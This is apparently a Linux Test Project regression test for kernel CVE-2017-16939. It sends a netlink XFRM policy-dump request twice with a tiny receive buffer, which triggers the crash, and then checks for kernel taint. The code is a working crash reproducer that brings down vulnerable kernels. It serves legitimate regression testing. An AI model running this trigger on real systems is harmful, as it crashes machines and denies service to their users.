// SPDX-License-Identifier: GPL-2.0-or-later
/*
 * Copyright (c) 2018 Michael Moese <mmoese@suse.de>
 */
/* Regression test for commit:
 * 1137b5e2529a ipsec: Fix aborted xfrm policy dump crash aka CVE-2017-16939
 *
 * Based on the reproducing code from Mohammed Ghannam, published on
 * https://blogs.securiteam.com/index.php/archives/3535
 *
 * CAUTION! If your system is vulnerable to this CVE, the kernel
 * WILL DIE!
 */

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <linux/netlink.h>

#include "lapi/xfrm.h"
#include "tst_test.h"
#include "tst_res_flags.h"
#include "tst_safe_macros.h"
#include "tst_safe_net.h"
#include "lapi/sched.h"

static int fd = -1;
static struct sockaddr_nl nl_addr;
static struct nlmsghdr xfrm_msg;

static void setup(void)
{
	tst_setup_netns();

	nl_addr.nl_family = AF_NETLINK;
	nl_addr.nl_pid = 0; /* packet goes into the kernel */
	nl_addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */

	xfrm_msg.nlmsg_len = NLMSG_LENGTH(0);
	xfrm_msg.nlmsg_type = XFRM_MSG_GETPOLICY;
	xfrm_msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST;
	xfrm_msg.nlmsg_seq = 0x1;
	xfrm_msg.nlmsg_pid = 2;
}

static void send_nlmsg(int fd, struct nlmsghdr *msg, struct sockaddr_nl *addr)
{
	SAFE_SENDTO(1, fd, (void *)msg, msg->nlmsg_len, 0,
		    (struct sockaddr *)addr, sizeof(struct sockaddr_nl));
}

static void run(void)
{
	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	SAFE_SETSOCKOPT_INT(fd, SOL_SOCKET, SO_RCVBUF, 0x100);

	/* message must be sent twice to trigger the bug */
	send_nlmsg(fd, &xfrm_msg, &nl_addr);
	send_nlmsg(fd, &xfrm_msg, &nl_addr);
	SAFE_CLOSE(fd);

	/* wait for socket close callback to crash */
	usleep(100000);

	if (tst_taint_check()) {
		tst_res(TFAIL, "Kernel is vulnerable");
		return;
	}

	tst_res(TPASS, "Kernel seems to have survived");
}

static void cleanup(void)
{
	if (fd >= 0)
		SAFE_CLOSE(fd);
}

static struct tst_test test = {
	.setup = setup,
	.test_all = run,
	.cleanup = cleanup,
	.taint_check = TST_TAINT_W | TST_TAINT_D,
	.needs_kconfigs = (const char *[]) {
		"CONFIG_USER_NS=y",
		"CONFIG_NET_NS=y",
		NULL
	},
	.save_restore = (const struct tst_path_val[]) {
		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
		{}
	},
	.tags = (const struct tst_tag[]) {
		{"linux-git", "1137b5e2529a"},
		{"CVE", "2017-16939"},
		{}
	}
};
